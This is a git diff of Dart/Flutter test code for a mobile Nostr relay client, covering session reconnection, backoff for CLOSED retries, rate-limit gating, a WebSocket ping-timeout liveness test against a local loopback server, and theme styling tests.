+      final sockets = <_ControlledRelaySocket>[];
+      final keychain = nostr.Keys.generate();
+      var now = DateTime(2026, 8, 2, 12);
+      final session = RelaySessionNotifier(
+        now: () => now,
+        socketFactory:
+            ({
+              required wsUrl,
+              required nsec,
+              required onMessage,
+              required onConnected,
+              required onDisconnected,
+            }) {
+              final socket = _ControlledRelaySocket(
+                wsUrl: wsUrl,
+                nsec: nsec,
+                onMessage: onMessage,
+                onConnected: onConnected,
+                onDisconnected: onDisconnected,
+              );
+              sockets.add(socket);
+              return socket;
+            },
+      );
+      final container = ProviderContainer(
+        overrides: [
+          relaySessionProvider.overrideWith(() => session),
+          relayConfigProvider.overrideWith(
+            () => _FakeRelayConfigNotifier(
+              baseUrl: 'https://relay.example',
+              nsec: keychain.nsec,
+            ),
+          ),
+          authProvider.overrideWith(() => _AuthenticatedAuthNotifier()),
+        ],
+      );
+      addTearDown(container.dispose);
+      await container.read(authProvider.future);
+      final subscription = container.listen(relaySessionProvider, (_, _) {});
+      addTearDown(subscription.close);
+      await Future<void>.delayed(Duration.zero);
+      sockets.single.connectSuccessfully();
+
+      session.onAppPaused();
+      now = now.add(const Duration(minutes: 5));
+      session.onAppResumed();
+      await Future<void>.delayed(Duration.zero);
+
+      expect(sockets, hasLength(2));
+      expect(sockets.first.disposeCalls, 1);
+      expect(session.state.status, SessionStatus.reconnecting);
+    },
+  );
+
+  test(
+    'resume keeps a connected session within the background grace period',
+    () async {
+      final sockets = <_ControlledRelaySocket>[];
+      final keychain = nostr.Keys.generate();
+      var now = DateTime(2026, 8, 2, 12);
+      final session = RelaySessionNotifier(
+        now: () => now,
+        socketFactory:
+            ({
+              required wsUrl,
+              required nsec,
+              required onMessage,
+              required onConnected,
+              required onDisconnected,
+            }) {
+              final socket = _ControlledRelaySocket(
+                wsUrl: wsUrl,
+                nsec: nsec,
+                onMessage: onMessage,
+                onConnected: onConnected,
+                onDisconnected: onDisconnected,
+              );
+              sockets.add(socket);
+              return socket;
+            },
+      );
+      final container = ProviderContainer(
+        overrides: [
+          relaySessionProvider.overrideWith(() => session),
+          relayConfigProvider.overrideWith(
+            () => _FakeRelayConfigNotifier(
+              baseUrl: 'https://relay.example',
+              nsec: keychain.nsec,
+            ),
+          ),
+          authProvider.overrideWith(() => _AuthenticatedAuthNotifier()),
+        ],
+      );
+      addTearDown(container.dispose);
+      await container.read(authProvider.future);
+      final subscription = container.listen(relaySessionProvider, (_, _) {});
+      addTearDown(subscription.close);
+      await Future<void>.delayed(Duration.zero);
+      sockets.single.connectSuccessfully();
+
+      session.onAppPaused();
+      now = now.add(const Duration(seconds: 4));
+      session.onAppResumed();
+      await Future<void>.delayed(Duration.zero);
+
+      expect(sockets, hasLength(1));
+      expect(sockets.single.disposeCalls, 0);
+      expect(session.state.status, SessionStatus.connected);
+    },
+  );
+
   test('delivers the same live event to each matching subscription', () async {
     final session = RelaySessionNotifier();
     final firstEvents = <NostrEvent>[];
@@ -328,7 +614,7 @@ void main() {
     unsubscribe();
   });
 
-  test('live subscribe fails when relay closes before ready', () async {
+  test('terminal CLOSED fails a live subscribe before ready', () async {
     final session = RelaySessionNotifier();
     const filter = NostrFilter(kinds: [EventKind.agentObserverFrame], limit: 0);
 
@@ -352,32 +638,601 @@ void main() {
   });
 
   test(
-    'live onClosed callback runs when relay closes an open subscription',
+    'retryable CLOSED before EOSE retains and retries the live sub',
     () async {
-      final session = RelaySessionNotifier();
-      final closedMessages = <String>[];
-      const filter = NostrFilter(
-        kinds: [EventKind.agentObserverFrame],
-        limit: 0,
+      final timers = <_ManualTimer>[];
+      final socket = _RecordingRelaySocket();
+      final session = RelaySessionNotifier(
+        retryTimerFactory: (duration, callback) {
+          final timer = _ManualTimer(duration, callback);
+          timers.add(timer);
+          return timer;
+        },
       );
+      session.debugAttachSocketForTest(socket);
 
-      final subscribe = session.subscribe(
-        filter,
-        (_) {},
-        onClosed: closedMessages.add,
+      final subscribe = session.subscribe(_channelFilter, (_) {});
+      session.debugHandleMessage(['CLOSED', 'l-1', 'error: relay overloaded']);
+      final unsubscribe = await subscribe;
+
+      expect(timers.single.duration, const Duration(seconds: 1));
+      timers.single.fire();
+      await Future<void>.delayed(Duration.zero);
+
+      expect(_reqs(socket).where((req) => req[1] == 'l-1'), hasLength(2));
+      unsubscribe();
+    },
+  );
+
+  test('CLOSED retries back off and reset after EOSE', () async {
+    final timers = <_ManualTimer>[];
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(
+      retryTimerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+    session.debugAttachSocketForTest(socket);
+    final subscribe = session.subscribe(_channelFilter, (_) {});
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    final unsubscribe = await subscribe;
+
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    expect(timers.last.duration, const Duration(seconds: 1));
+    timers.last.fire();
+    await Future<void>.delayed(Duration.zero);
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    expect(timers.last.duration, const Duration(seconds: 2));
+
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    expect(timers.last.duration, const Duration(seconds: 1));
+    unsubscribe();
+  });
+
+  test('CLOSED retry backoff saturates before a high-attempt shift', () async {
+    final timers = <_ManualTimer>[];
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(
+      retryTimerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+    session.debugAttachSocketForTest(socket);
+    final subscribe = session.subscribe(_channelFilter, (_) {});
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    final unsubscribe = await subscribe;
+
+    for (var attempt = 0; attempt < 100; attempt++) {
+      session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+      expect(
+        timers.last.duration,
+        attempt >= 5
+            ? const Duration(seconds: 30)
+            : Duration(seconds: 1 << attempt),
       );
+      timers.last.fire();
+      await Future<void>.delayed(Duration.zero);
+    }
+
+    unsubscribe();
+  });
+
+  test('CLOSED retries reset after a delivered event', () async {
+    final timers = <_ManualTimer>[];
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(
+      retryTimerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+    session.debugAttachSocketForTest(socket);
+    final subscribe = session.subscribe(_channelFilter, (_) {});
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    final unsubscribe = await subscribe;
+
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    timers.last.fire();
+    await Future<void>.delayed(Duration.zero);
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    expect(timers.last.duration, const Duration(seconds: 2));
+
+    session.debugHandleMessage([
+      'EVENT',
+      'l-1',
+      _event(createdAt: 30).toJson(),
+    ]);
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    expect(timers.last.duration, const Duration(seconds: 1));
+    unsubscribe();
+  });
+
+  test('CLOSED retries reset after disconnect and reconnect', () async {
+    final timers = <_ManualTimer>[];
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(
+      retryTimerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+    session.debugAttachSocketForTest(socket);
+    final subscribe = session.subscribe(_channelFilter, (_) {});
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    final unsubscribe = await subscribe;
+
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    timers.last.fire();
+    await Future<void>.delayed(Duration.zero);
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    expect(timers.last.duration, const Duration(seconds: 2));
+
+    session.debugResetClosedRetriesForDisconnect();
+    expect(timers.last.isActive, isFalse);
+    session.debugSetSessionStatus(SessionStatus.connected);
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    expect(timers.last.duration, const Duration(seconds: 1));
+    unsubscribe();
+  });
+
+  test('a CLOSED retry timer does not send while disconnected', () async {
+    final timers = <_ManualTimer>[];
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(
+      retryTimerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+    session.debugAttachSocketForTest(socket);
+    final subscribe = session.subscribe(_channelFilter, (_) {});
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    final unsubscribe = await subscribe;
+    final requestCount = _reqs(socket).length;
+
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    session.debugSetSessionStatus(SessionStatus.reconnecting);
+    timers.single.fire();
+    await Future<void>.delayed(Duration.zero);
+
+    expect(_reqs(socket), hasLength(requestCount));
+    unsubscribe();
+  });
+
+  test('terminal CLOSED removes a live sub without retrying it', () async {
+    final timers = <_ManualTimer>[];
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(
+      retryTimerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+    session.debugAttachSocketForTest(socket);
+    final subscribe = session.subscribe(_channelFilter, (_) {});
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    await subscribe;
+
+    session.debugHandleMessage(['CLOSED', 'l-1', 'restricted: access revoked']);
+    await session.debugReplayLiveSubscriptions();
+
+    expect(timers, isEmpty);
+    expect(_reqs(socket).where((req) => req[1] == 'l-1'), hasLength(1));
+  });
+
+  test('unsubscribe and dispose cancel CLOSED retry timers', () async {
+    final timers = <_ManualTimer>[];
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(
+      retryTimerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        timers.add(timer);
+        return timer;
+      },
+    );
+    session.debugAttachSocketForTest(socket);
+
+    final firstSubscribe = session.subscribe(_channelFilter, (_) {});
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    final unsubscribe = await firstSubscribe;
+    session.debugHandleMessage(['CLOSED', 'l-1', 'error: transient']);
+    final unsubscribeTimer = timers.last;
+    unsubscribe();
+    expect(unsubscribeTimer.isActive, isFalse);
+
+    final secondSubscribe = session.subscribe(_channelFilter, (_) {});
+    session.debugHandleMessage(['EOSE', 'l-2']);
+    await secondSubscribe;
+    session.debugHandleMessage(['CLOSED', 'l-2', 'error: transient']);
+    final disposeTimer = timers.last;
+    session.debugDispose();
+    expect(disposeTimer.isActive, isFalse);
+  });
+
+  test('rate-limited live CLOSED honours the gate floor', () async {
+    final retryTimers = <_ManualTimer>[];
+    final gateTimers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        gateTimers.add(timer);
+        return timer;
+      },
+    );
+    final session = RelaySessionNotifier(
+      rateLimitGate: gate,
+      retryTimerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        retryTimers.add(timer);
+        return timer;
+      },
+    );
+    final socket = _RecordingRelaySocket();
+    session.debugAttachSocketForTest(socket);
+    final subscribe = session.subscribe(_channelFilter, (_) {});
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    final unsubscribe = await subscribe;
+
+    session.debugHandleMessage([
+      'CLOSED',
+      'l-1',
+      'rate-limited: quota exceeded; retry in 4s',
+    ]);
+
+    expect(
+      retryTimers.single.duration.inMilliseconds,
+      inInclusiveRange(3990, 4000),
+    );
+    expect(gateTimers.single.duration, const Duration(seconds: 4));
+    unsubscribe();
+  });
+
+  test(
+    'rate-limited CLOSED retry does not survive a superseded connection',
+    () async {
+      final retryTimers = <_ManualTimer>[];
+      final gateTimers = <_ManualTimer>[];
+      final gate = RelayRateLimitGate(
+        now: () => DateTime(2026),
+        timerFactory: (duration, callback) {
+          final timer = _ManualTimer(duration, callback);
+          gateTimers.add(timer);
+          return timer;
+        },
+      );
+      final socket = _RecordingRelaySocket();
+      final session = RelaySessionNotifier(
+        rateLimitGate: gate,
+        retryTimerFactory: (duration, callback) {
+          final timer = _ManualTimer(duration, callback);
+          retryTimers.add(timer);
+          return timer;
+        },
+      );
+      session.debugAttachSocketForTest(socket);
+      final subscribe = session.subscribe(_channelFilter, (_) {});
       session.debugHandleMessage(['EOSE', 'l-1']);
       final unsubscribe = await subscribe;
+      socket.messages.clear();
+
       session.debugHandleMessage([
         'CLOSED',
         'l-1',
-        'restricted: no longer valid',
+        'rate-limited: quota exceeded; retry in 4s',
       ]);
+      retryTimers.single.fire();
+      await Future<void>.delayed(Duration.zero);
+      expect(_reqs(socket), isEmpty);
+
+      session.debugSupersedeConnection();
+      final replacementReplay = session.debugReplayLiveSubscriptions();
+      await Future<void>.delayed(Duration.zero);
+      gateTimers.single.fire();
+      await replacementReplay;
+      await Future<void>.delayed(Duration.zero);
 
-      expect(closedMessages, ['restricted: no longer valid']);
+      expect(_reqs(socket).where((req) => req[1] == 'l-1'), hasLength(1));
       unsubscribe();
     },
   );
+
+  test('simultaneous rate-limited CLOSED retries are replay-paced', () async {
+    final retryTimers = <_ManualTimer>[];
+    final gateTimers = <_ManualTimer>[];
+    final replayDelays = <Duration>[];
+    final replayDelayCompleters = <Completer<void>>[];
+    final gate = RelayRateLimitGate(
+      now: () => DateTime(2026),
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        gateTimers.add(timer);
+        return timer;
+      },
+    );
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(
+      rateLimitGate: gate,
+      retryTimerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        retryTimers.add(timer);
+        return timer;
+      },
+      replayDelay: (duration) {
+        replayDelays.add(duration);
+        final completer = Completer<void>();
+        replayDelayCompleters.add(completer);
+        return completer.future;
+      },
+    );
+    session.debugAttachSocketForTest(socket);
+
+    for (var i = 0; i < 30; i++) {
+      final subscribe = session.subscribe(
+        _filterForChannel('channel-$i'),
+        (_) {},
+      );
+      session.debugHandleMessage(['EOSE', 'l-${i + 1}']);
+      await subscribe;
+    }
+    socket.messages.clear();
+
+    for (var i = 0; i < 30; i++) {
+      session.debugHandleMessage([
+        'CLOSED',
+        'l-${i + 1}',
+        'rate-limited: quota exceeded; retry in 4s',
+      ]);
+    }
+    for (final timer in retryTimers) {
+      timer.fire();
+    }
+    await Future<void>.delayed(Duration.zero);
+    expect(_reqs(socket), isEmpty);
+
+    gateTimers.single.fire();
+    await Future<void>.delayed(Duration.zero);
+    expect(_reqs(socket), hasLength(8));
+    expect(replayDelays, [const Duration(milliseconds: 50)]);
+
+    for (final expectedCount in [16, 24, 30]) {
+      replayDelayCompleters.last.complete();
+      await Future<void>.delayed(Duration.zero);
+      expect(_reqs(socket), hasLength(expectedCount));
+    }
+    expect(replayDelays, [
+      const Duration(milliseconds: 50),
+      const Duration(milliseconds: 50),
+      const Duration(milliseconds: 50),
+    ]);
+    session.debugDispose();
+  });
+
+  test('active rate-limit gate does not delay a new live subscribe', () async {
+    final gateTimers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        gateTimers.add(timer);
+        return timer;
+      },
+    );
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(rateLimitGate: gate);
+    session.debugAttachSocketForTest(socket);
+    gate.activate(4);
+
+    final subscribe = session.subscribe(_channelFilter, (_) {});
+
+    expect(_reqs(socket), hasLength(1));
+    expect(gateTimers.single.duration, const Duration(seconds: 4));
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    final unsubscribe = await subscribe;
+    unsubscribe();
+    session.debugDispose();
+  });
+
+  test('rate-limited history CLOSED gates the next REQ', () async {
+    final gateTimers = <_ManualTimer>[];
+    final gate = RelayRateLimitGate(
+      timerFactory: (duration, callback) {
+        final timer = _ManualTimer(duration, callback);
+        gateTimers.add(timer);
+        return timer;
+      },
+    );
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(rateLimitGate: gate);
+    session.debugAttachSocketForTest(socket);
+
+    final first = session.fetchHistory(_channelFilter);
+    session.debugHandleMessage([
+      'CLOSED',
+      'h-1',
+      'rate-limited: quota exceeded; retry in 4s',
+    ]);
+    await expectLater(first, throwsException);
+
+    final second = session.fetchHistory(_channelFilter);
+    await Future<void>.delayed(Duration.zero);
+    expect(_reqs(socket), hasLength(1));
+    expect(gateTimers.single.duration, const Duration(seconds: 4));
+
+    gateTimers.single.fire();
+    await Future<void>.delayed(Duration.zero);
+    expect(_reqs(socket), hasLength(2));
+    session.debugHandleMessage(['EOSE', 'h-2']);
+    await second;
+  });
+
+  test(
+    'visible channel owners restore and ignore out-of-order release',
+    () async {
+      final socket = _RecordingRelaySocket();
+      final session = RelaySessionNotifier();
+      session.debugAttachSocketForTest(socket);
+      const channelIds = ['channel-a', 'channel-b', 'channel-c'];
+
+      for (var i = 0; i < channelIds.length; i++) {
+        final subscribe = session.subscribe(
+          _filterForChannel(channelIds[i]),
+          (_) {},
+        );
+        session.debugHandleMessage(['EOSE', 'l-${i + 1}']);
+        await subscribe;
+      }
+
+      final releaseA = session.registerVisibleChannel('channel-a');
+      final releaseB = session.registerVisibleChannel('channel-b');
+      final releaseC = session.registerVisibleChannel('channel-c');
+      releaseB();
+      socket.messages.clear();
+      await session.debugReplayLiveSubscriptions();
+      expect(_replayedChannelIds(socket).first, 'channel-c');
+
+      releaseC();
+      socket.messages.clear();
+      await session.debugReplayLiveSubscriptions();
+      expect(_replayedChannelIds(socket).first, 'channel-a');
+
+      releaseB();
+      releaseA();
+    },
+  );
+
+  test('replay is visible-first and batched eight at a time', () async {
+    final replayDelays = <Duration>[];
+    final replayDelayCompleter = Completer<void>();
+    final socket = _RecordingRelaySocket();
+    final session = RelaySessionNotifier(
+      replayDelay: (duration) {
+        replayDelays.add(duration);
+        return replayDelayCompleter.future;
+      },
+    );
+    session.debugAttachSocketForTest(socket);
+
+    for (var i = 0; i < 9; i++) {
+      final channelId = i == 8 ? _visibleChannelId : 'channel-$i';
+      final subscribe = session.subscribe(_filterForChannel(channelId), (_) {});
+      session.debugHandleMessage(['EOSE', 'l-${i + 1}']);
+      await subscribe;
+    }
+    socket.messages.clear();
+    final releaseVisibleChannel = session.registerVisibleChannel(
+      _visibleChannelId,
+    );
+
+    final replay = session.debugReplayLiveSubscriptions();
+    await Future<void>.delayed(Duration.zero);
+
+    final firstBatch = _reqs(socket);
+    expect(firstBatch, hasLength(8));
+    expect((firstBatch.first[2] as Map<String, dynamic>)['#h'], [
+      _visibleChannelId,
+    ]);
+    expect(replayDelays, [const Duration(milliseconds: 50)]);
+
+    replayDelayCompleter.complete();
+    await replay;
+    expect(_reqs(socket), hasLength(9));
+    releaseVisibleChannel();
+  });
+
+  test(
+    'replay generation guard bails after a connection is superseded',
+    () async {
+      final replayDelayCompleter = Completer<void>();
+      final socket = _RecordingRelaySocket();
+      final session = RelaySessionNotifier(
+        replayDelay: (_) => replayDelayCompleter.future,
+      );
+      session.debugAttachSocketForTest(socket);
+
+      for (var i = 0; i < 9; i++) {
+        final subscribe = session.subscribe(
+          _filterForChannel('channel-$i'),
+          (_) {},
+        );
+        session.debugHandleMessage(['EOSE', 'l-${i + 1}']);
+        await subscribe;
+      }
+      socket.messages.clear();
+
+      final replay = session.debugReplayLiveSubscriptions();
+      await Future<void>.delayed(Duration.zero);
+      expect(_reqs(socket), hasLength(8));
+
+      session.debugSupersedeConnection();
+      replayDelayCompleter.complete();
+      await replay;
+
+      expect(_reqs(socket), hasLength(8));
+    },
+  );
+
+  test('live onClosed callback runs only for a terminal CLOSED', () async {
+    final session = RelaySessionNotifier();
+    final closedMessages = <String>[];
+    const filter = NostrFilter(kinds: [EventKind.agentObserverFrame], limit: 0);
+
+    final subscribe = session.subscribe(
+      filter,
+      (_) {},
+      onClosed: closedMessages.add,
+    );
+    session.debugHandleMessage(['EOSE', 'l-1']);
+    final unsubscribe = await subscribe;
+    session.debugHandleMessage([
+      'CLOSED',
+      'l-1',
+      'error: temporarily unavailable',
+    ]);
+    expect(closedMessages, isEmpty);
+    session.debugHandleMessage([
+      'CLOSED',
+      'l-1',
+      'restricted: no longer valid',
+    ]);
+
+    expect(closedMessages, ['restricted: no longer valid']);
+    unsubscribe();
+  });
+}
+
+class _QueryHarness {
+  final ProviderContainer container;
+  final RelaySessionNotifier session;
+
+  _QueryHarness({required this.container, required this.session});
+}
+
+_QueryHarness _queryHarness({
+  required RelayRateLimitGate gate,
+  required http.Client client,
+}) {
+  final session = RelaySessionNotifier(httpClient: client, rateLimitGate: gate);
+  final container = ProviderContainer(
+    overrides: [
+      relaySessionProvider.overrideWith(() => session),
+      relayConfigProvider.overrideWith(
+        () => _FakeRelayConfigNotifier(
+          baseUrl: 'https://relay.example',
+          nsec: nostr.Keys.generate().nsec,
+        ),
+      ),
+    ],
+  );
+  container.read(relaySessionProvider);
+  return _QueryHarness(container: container, session: session);
 }
 
 class _FakeAuthNotifier extends AuthNotifier {
@@ -402,6 +1257,7 @@ class _AuthenticatedAuthNotifier extends AuthNotifier {
 class _ControlledRelaySocket extends RelaySocket {
   final void Function() _connected;
   final void Function(Object? error) _disconnected;
+  int disposeCalls = 0;
 
   _ControlledRelaySocket({
     required super.wsUrl,
@@ -416,7 +1272,9 @@ class _ControlledRelaySocket extends RelaySocket {
   Future<void> connect() async {}
 
   @override
-  void dispose() {}
+  void dispose() {
+    disposeCalls++;
+  }
 
   void connectSuccessfully() => _connected();
 
@@ -437,11 +1295,11 @@ class _FakeRelayConfigNotifier extends RelayConfigNotifier {
   RelayConfig build() => RelayConfig(baseUrl: _baseUrl, nsec: _nsec);
 }
 
-NostrEvent _event() {
-  return const NostrEvent(
+NostrEvent _event({int createdAt = 20}) {
+  return NostrEvent(
     id: 'event-1',
     pubkey: 'alice',
-    createdAt: 20,
+    createdAt: createdAt,
     kind: EventKind.streamMessageV2,
     tags: [
       ['h', _channelId],
@@ -450,3 +1308,72 @@ NostrEvent _event() {
     sig: 'sig',
   );
 }
+
+const _visibleChannelId = '99999999-9999-4999-8999-999999999999';
+const _channelFilter = NostrFilter(
+  kinds: EventKind.channelEventKinds,
+  tags: {
+    '#h': [_channelId],
+  },
+  limit: 0,
+);
+
+NostrFilter _filterForChannel(String channelId) => NostrFilter(
+  kinds: EventKind.channelEventKinds,
+  tags: {
+    '#h': [channelId],
+  },
+  limit: 0,
+);
+
+List<String> _replayedChannelIds(_RecordingRelaySocket socket) => _reqs(socket)
+    .map(
+      (message) =>
+          ((message[2] as Map<String, dynamic>)['#h'] as List).single as String,
+    )
+    .toList();
+
+List<List<dynamic>> _reqs(_RecordingRelaySocket socket) =>
+    socket.messages.where((message) => message.first == 'REQ').toList();
+
+class _RecordingRelaySocket extends RelaySocket {
+  _RecordingRelaySocket()
+    : super(
+        wsUrl: 'wss://relay.example',
+        nsec: null,
+        onMessage: (_) {},
+        onConnected: () {},
+        onDisconnected: (_) {},
+      );
+
+  final List<List<dynamic>> messages = [];
+
+  @override
+  void send(List<dynamic> payload) => messages.add(payload);
+
+  @override
+  void dispose() {}
+}
+
+class _ManualTimer implements Timer {
+  _ManualTimer(this.duration, this._callback);
+
+  final Duration duration;
+  final void Function() _callback;
+  bool _active = true;
+
+  void fire() {
+    if (!_active) return;
+    _active = false;
+    _callback();
+  }
+
+  @override
+  void cancel() => _active = false;
+
+  @override
+  bool get isActive => _active;
+
+  @override
+  int get tick => _active ? 0 : 1;
+}
diff --git a/mobile/test/shared/relay/relay_socket_liveness_test.dart b/mobile/test/shared/relay/relay_socket_liveness_test.dart
new file mode 100644
index 0000000000..835ebc2b61
--- /dev/null
+++ b/mobile/test/shared/relay/relay_socket_liveness_test.dart
@@ -0,0 +1,111 @@
+import 'dart:async';
+import 'dart:convert';
+import 'dart:io';
+
+import 'package:buzz/shared/relay/relay_socket.dart';
+import 'package:crypto/crypto.dart';
+import 'package:flutter_test/flutter_test.dart';
+
+/// A server that completes the WS handshake then never speaks again: no pongs,
+/// no close frame. Only a client-side ping timeout can notice.
+Future<ServerSocket> _silentAfterHandshakeServer() async {
+  final server = await ServerSocket.bind(InternetAddress.loopbackIPv4, 0);
+  server.listen((client) {
+    client.listen(
+      (data) {
+        final match = RegExp(
+          r'Sec-WebSocket-Key: (.*)\r\n',
+          caseSensitive: false,
+        ).firstMatch(String.fromCharCodes(data));
+        if (match == null) return;
+        final accept = base64.encode(
+          sha1
+              .convert(
+                utf8.encode(
+                  '${match.group(1)!.trim()}258EAFA5-E914-47DA-95CA-C5AB0DC85B11',
+                ),
+              )
+              .bytes,
+        );
+        client.write(
+          'HTTP/1.1 101 Switching Protocols\r\n'
+          'Upgrade: websocket\r\nConnection: Upgrade\r\n'
+          'Sec-WebSocket-Accept: $accept\r\n\r\n',
+        );
+      },
+      onError: (_) {},
+      onDone: () {},
+    );
+  });
+  return server;
+}
+
+void main() {
+  const testPingInterval = Duration(milliseconds: 150);
+
+  setUp(() {
+    RelaySocket.debugPingInterval = testPingInterval;
+  });
+
+  tearDown(() {
+    RelaySocket.debugPingInterval = RelaySocket.pingInterval;
+  });
+
+  test('detects a peer that stops answering pings', () async {
+    final server = await _silentAfterHandshakeServer();
+
+    final disconnected = Completer<Object?>();
+    final socket = RelaySocket(
+      wsUrl: 'ws://127.0.0.1:${server.port}',
+      nsec: null,
+      onMessage: (_) {},
+      onConnected: () {},
+      onDisconnected: (error) {
+        if (!disconnected.isCompleted) disconnected.complete(error);
+      },
+    );
+    unawaited(socket.connect());
+
+    var detected = true;
+    try {
+      await disconnected.future.timeout(testPingInterval * 4);
+    } on TimeoutException {
+      detected = false;
+    }
+
+    expect(
+      detected,
+      isTrue,
+      reason:
+          'RelaySocket must surface an unanswered ping through onDisconnected',
+    );
+
+    socket.dispose();
+    await server.close();
+  });
+
+  test('keeps an idle but healthy peer connected', () async {
+    final server = await HttpServer.bind(InternetAddress.loopbackIPv4, 0);
+    server.transform(WebSocketTransformer()).listen((ws) {
+      // A healthy relay answers pings without sending application data.
+      ws.listen((_) {}, onError: (_) {}, onDone: () {});
+    });
+
+    var tornDown = false;
+    final socket = RelaySocket(
+      wsUrl: 'ws://127.0.0.1:${server.port}',
+      nsec: null,
+      onMessage: (_) {},
+      onConnected: () {},
+      onDisconnected: (_) => tornDown = true,
+    );
+    unawaited(socket.connect());
+
+    await Future<void>.delayed(testPingInterval * 4);
+
+    expect(tornDown, isFalse);
+
+    await socket.disconnect();
+    await server.close(force: true);
+  });
+}
diff --git a/mobile/test/shared/theme/app_theme_test.dart b/mobile/test/shared/theme/app_theme_test.dart
index 6231befc69..f038c6d974 100644
--- a/mobile/test/shared/theme/app_theme_test.dart
+++ b/mobile/test/shared/theme/app_theme_test.dart
@@ -7,4 +7,21 @@ void main() {
     expect(AppTheme.light().splashFactory, NoSplash.splashFactory);
     expect(AppTheme.dark().splashFactory, NoSplash.splashFactory);
   });
+
+  test('uses Inter and the shared elevated popover treatment', () {
+    final theme = AppTheme.light();
+    final popupTheme = theme.popupMenuTheme;
+    final shape = popupTheme.shape! as RoundedRectangleBorder;
+    final side = shape.side;
+
+    expect(popupTheme.textStyle?.fontFamily, 'Inter');
+    expect(popupTheme.elevation, 8);
+    expect(
+      popupTheme.shadowColor,
+      theme.colorScheme.shadow.withValues(alpha: 0.18),
+    );
+    expect(shape.borderRadius, BorderRadius.circular(Radii.popover));
+    expect(side.color, Colors.black.withValues(alpha: 0.04));
+    expect(side.width, 1);
+  });
 }
diff --git a/mobile/test/shared/theme/buzz_theme_test.dart b/mobile/test/shared/theme/buzz_theme_test.dart
index 613fec1467..51b5ad1f3b 100644
--- a/mobile/test/shared/theme/buzz_theme_test.dart
+++ b/mobile/test/shared/theme/buzz_theme_test.dart
@@ -40,6 +40,24 @@ void main() {
       expect(themeSelectionLabel(buzzDarkThemeName, ThemeMode.system), 'Buzz');
     });
 
+    test('forces neutral rendering without changing the stored accent', () {
+      const storedAccent = '#ef4444';
+
+      expect(
+        effectiveAccentIndex(buzzThemeName, storedAccent),
+        neutralAccentIndex,
+      );
+      expect(
+        effectiveAccentIndex(buzzDarkThemeName, storedAccent),
+        neutralAccentIndex,
+      );
+      expect(
+        effectiveAccentIndex('github-light', storedAccent),
+        accentIndexForWireValue(storedAccent),
+      );
+      expect(storedAccent, '#ef4444');
+    });
+
     test('resolve across brightnesses like any other pair', () {
       final resolved = resolveSchemes(buzzThemeName, ThemeMode.system);
       expect(resolved.forcedMode, isNull);
@@ -183,6 +201,59 @@ void main() {
       expect(decoration.gradient, isNull);
       expect(decoration.color, isNotNull);
     });
+
+    testWidgets('Buzz section labels use 80% neutral foreground', (
+      tester,
+    ) async {
+      await tester.pumpWidget(
+        harness(
+          AppTheme.light(
+            topSectionGradient: buzzTopSectionGradient(
+              buzzThemeName,
+              Brightness.light,
+            ),
+          ),
+        ),
+      );
+
+      final context = tester.element(find.text('Home'));
+      expect(
+        navigationSectionForeground(context),
+        Colors.black.withValues(alpha: 0.8),
+      );
+    });
+
+    testWidgets('navigation roles inherit non-Buzz theme tokens', (
+      tester,
+    ) async {
+      const primaryForeground = Color(0xFF123456);
+      const secondaryForeground = Color(0xFF789ABC);
+      const searchSurface = Color(0xFFDEF012);
+      final theme = ThemeData(
+        colorScheme: ColorScheme.fromSeed(seedColor: Colors.purple).copyWith(
+          onSurface: primaryForeground,
+          onSurfaceVariant: secondaryForeground,
+          surfaceContainerHighest: searchSurface,
+        ),
+      );
+
+      await tester.pumpWidget(
+        MaterialApp(
+          theme: theme,
